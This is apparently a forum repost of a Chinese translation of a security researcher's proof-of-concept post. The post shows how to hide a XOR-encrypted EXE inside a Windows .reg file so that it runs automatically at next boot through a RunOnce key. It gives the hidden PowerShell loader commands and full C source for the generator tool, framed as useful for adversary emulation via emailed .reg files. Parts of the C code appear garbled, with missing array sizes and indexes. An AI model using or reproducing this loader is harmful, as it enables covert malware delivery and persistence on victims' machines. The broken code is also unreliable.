EmbedExeReg - 在 .REG 文件中嵌入 exe 并自动执行
英文原文:https://www.x86matthew.com/view_post?id=embed_exe_reg今年早些时候,我发布了一个名为 "EmbedExeLnk" 的 PoC 项目 —— 该工具将生成一个包含嵌入式 EXE payload 的 Windows lnk 文件。与该项目相似,另外我创建了一个工具来生成包含 EXE payload 的 Windows 注册表 .reg 文件。
.reg 文件包含要导入的注册表项和值的纯文本列表,这意味着我们可以安排一个程序在下次启动时运行:
REGEDIT4
"StartupEntryName"="C:\\test\\program.exe"
由于 Run/RunOnce 键允许将参数传递给目标 EXE,我们可以使用它来执行脚本。以最简单的形式可以在此处插入 PowerShell 命令以从远程服务器下载并执行 EXE。但是,与之前的 .lnk PoC 一样,想更进一步,不需要额外下载。
首先将一些随机二进制数据附加到有效 .reg 文件的末尾,以查看是否会显示错误。幸运的是,注册表项已正确导入,并且没有出现错误消息 - 到达二进制数据时它静默失败。这意味着将我们的 EXE payload 附加到 .reg 文件的末尾是安全的。
现在我们有了一个包含主要 payload 的 .reg 文件,我们需要创建一个启动命令来执行嵌入式程序。由于payload 将在下次重启后执行,我们在这里遇到的第一个问题是不知道 .reg 文件在目标计算机上的存储位置。我们不想硬编码特定路径,因此我们将编写一个 PowerShell 命令来在重新启动后自行定位硬盘上的 .reg 文件。
下一个问题是我们无法直接从 .reg 文件执行 payload,因为 EXE 数据存储在文件末尾。这意味着 PowerShell 命令还需要从 .reg 文件中提取 EXE 数据,并在执行之前将其复制到单独的 .exe 文件中。
我创建了一个 PowerShell 命令来执行上面列出的所有操作 - 当直接从 cmd.exe 成功运行,但在插入 RunOnce 注册表项时根本没有执行。在花了一些时间调查此问题后,我发现 Run/RunOnce 注册表项的最大值长度似乎约为 256 个字符。如果一个值超过这个长度,它会被忽略。我的命令长度超过 500 个字符,这就解释了为什么它最初不起作用。
可以采取多种途径来解决命令长度问题,我决定在加载链中添加一个额外的 "阶段" 以实现最大的灵活性 - .reg 文件还将包含一个嵌入的 .bat 文件。原始命令中的大部分逻辑将移至 .bat 数据中,并且 RunOnce 值将包含一个简约的 PowerShell 命令来执行嵌入的批处理文件。
cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"
我还对我为原始 EmbedExeLnk 项目编写的 EXE payload 使用了相同的基本 XOR 加密。
最终的 .reg 文件将具有以下结构:
<.reg data>
<.bat data>
<.exe data>
Example:
REGEDIT4
"startup_entry"="cmd.exe /c \"PowerShell -windowstyle hidden $reg = gci -Path C:\\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\""
\xFF\xFF
cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path (]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
exit
<encrypted .exe payload data>
上面的示例文件可以分为 3 个部分:
原始 .reg 数据
这会在 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 键中创建一个名为 startup_entry 的值。这将导致计算机下次启动时执行以下命令:
cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"
此命令在 C:\drive 中搜索与指定文件大小 (在本例中为 0x000E7964) 匹配的 .reg 文件以定位自身,然后将这个 .reg 文件复制到 TEMP 目录中,命名为 tmpreg.bat 并执行。
该文件在初始 .reg 数据之后包含 \xFF\xFF - 这不是绝对必要的,但我添加它是为了确保注册表导入解析器失败并在此时停止。
嵌入 .bat 数据
下一个数据块包含嵌入的 .bat 命令:
cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path (]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
exit
此命令从当前文件的末尾提取主 EXE payload。EXE 起始点的偏移量由生成器工具硬编码 (在本例中为 640 字节)。EXE 被复制到 TEMP 目录,解密并执行。
注意:当这个 .bat 文件被执行时,它也会在到达 .bat 内容之前执行原始 .reg 文件中的行。这不应该有任何不利影响,因为它们不是有效的命令。
嵌入 .exe 数据
最后一个数据块包含加密的 .exe payload。
此方法的主要缺点是需要管理员权限才能导入 .reg 文件,另一个缺点是主 payload 在下次重新启动之前不会执行,这意味着如果用户在此之前删除 .reg 文件,它将根本不会执行。虽然不是好的做法,但由于各种原因,.reg 文件通常仍通过组织内部的电子邮件在内部共享,这意味着它们可能对对手的模拟操作有用。
全部代码:
#include <stdio.h>
#include <windows.h>
DWORD CreateRegFile(char *pExePath, char *pOutputRegPath)
{
char szRegEntry;
char szBatEntry;
char szStartupName;
BYTE bXorEncryptValue = 0;
HANDLE hRegFile = NULL;
HANDLE hExeFile = NULL;
DWORD dwExeFileSize = 0;
DWORD dwTotalFileSize = 0;
DWORD dwExeFileOffset = 0;
BYTE *pCmdLinePtr = NULL;
DWORD dwBytesRead = 0;
DWORD dwBytesWritten = 0;
char szOverwriteSearchRegFileSizeValue;
char szOverwriteSkipBytesValue;
BYTE bExeDataBuffer;
// set xor encrypt value
bXorEncryptValue = 0x77;
// set startup entry name
memset(szStartupName, 0, sizeof(szStartupName));
strncpy(szStartupName, "startup_entry", sizeof(szStartupName) - 1);
// generate reg file data (append 0xFF characters at the end to ensure the registry parser breaks after importing the first entry)
memset(szRegEntry, 0, sizeof(szRegEntry));
_snprintf(szRegEntry, sizeof(szRegEntry) - 1,
"REGEDIT4\r\n"
"\r\n"
"\r\n"
"\"%s\"=\"cmd.exe /c \\\"powershell -windowstyle hidden $reg = gci -Path C:\\\\ -Recurse *.reg ^| where-object {$_.length -eq 0x00000000} ^| select -ExpandProperty FullName -First 1; $bat = '%%temp%%\\\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\\\"\"\r\n"
"\r\n"
"\xFF\xFF\r\n"
"\r\n", szStartupName);
// generate bat file data
memset(szBatEntry, 0, sizeof(szBatEntry));
_snprintf(szBatEntry, sizeof(szBatEntry) - 1,
"cmd /c \"powershell -windowstyle hidden $file = gc '%%temp%%\\\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path (]($file^| select -Skip 000000)) -Encoding Byte; ^& $path;\"\r\n"
"exit\r\n", bXorEncryptValue);
// create output reg file
hRegFile = CreateFile(pOutputRegPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(hRegFile == INVALID_HANDLE_VALUE)
{
printf("Failed to create output file\n");
return 1;
}
// open target exe file
hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hExeFile == INVALID_HANDLE_VALUE)
{
printf("Failed to open exe file\n");
// error
CloseHandle(hRegFile);
return 1;
}
// store exe file size
dwExeFileSize = GetFileSize(hExeFile, NULL);
// calculate total file size
dwTotalFileSize = strlen(szRegEntry) + strlen(szBatEntry) + dwExeFileSize;
memset(szOverwriteSearchRegFileSizeValue, 0, sizeof(szOverwriteSearchRegFileSizeValue));
_snprintf(szOverwriteSearchRegFileSizeValue, sizeof(szOverwriteSearchRegFileSizeValue) - 1, "0x%08X", dwTotalFileSize);
// calculate exe file offset
dwExeFileOffset = dwTotalFileSize - dwExeFileSize;
memset(szOverwriteSkipBytesValue, 0, sizeof(szOverwriteSkipBytesValue));
_snprintf(szOverwriteSkipBytesValue, sizeof(szOverwriteSkipBytesValue) - 1, "%06u", dwExeFileOffset);
// find the offset value of the total reg file length in the command-line arguments
pCmdLinePtr = (BYTE*)strstr(szRegEntry, "_.length -eq 0x00000000}");
if(pCmdLinePtr == NULL)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
pCmdLinePtr += strlen("_.length -eq ");
// update value
memcpy((void*)pCmdLinePtr, (void*)szOverwriteSearchRegFileSizeValue, strlen(szOverwriteSearchRegFileSizeValue));
// find the offset value of the number of bytes to skip in the command-line arguments
pCmdLinePtr = (BYTE*)strstr(szBatEntry, "select -Skip 000000)");
if(pCmdLinePtr == NULL)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
pCmdLinePtr += strlen("select -Skip ");
// update value
memcpy((void*)pCmdLinePtr, (void*)szOverwriteSkipBytesValue, strlen(szOverwriteSkipBytesValue));
// write szRegEntry
if(WriteFile(hRegFile, (void*)szRegEntry, strlen(szRegEntry), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
// write szBatEntry
if(WriteFile(hRegFile, (void*)szBatEntry, strlen(szBatEntry), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
// append exe file to the end of the reg file
for(;;)
{
// read data from exe file
if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
// check for end of file
if(dwBytesRead == 0)
{
break;
}
// "encrypt" the exe file data
for(DWORD i = 0; i < dwBytesRead; i++)
{
bExeDataBuffer ^= bXorEncryptValue;
}
// write data to reg file
if(WriteFile(hRegFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
}
// close exe file handle
CloseHandle(hExeFile);
// close output file handle
CloseHandle(hRegFile);
return 0;
}
int main(int argc, char *argv[])
{
char *pExePath = NULL;
char *pOutputRegPath = NULL;
printf("EmbedExeReg - www.x86matthew.com\n\n");
if(argc != 3)
{
printf("Usage: %s \n\n", argv);
return 1;
}
// get params
pExePath = argv;
pOutputRegPath = argv;
// create a reg file containing the target exe
if(CreateRegFile(pExePath, pOutputRegPath) != 0)
{
printf("Error\n");
return 1;
}
printf("Finished\n");
return 0;
}
页:
[1]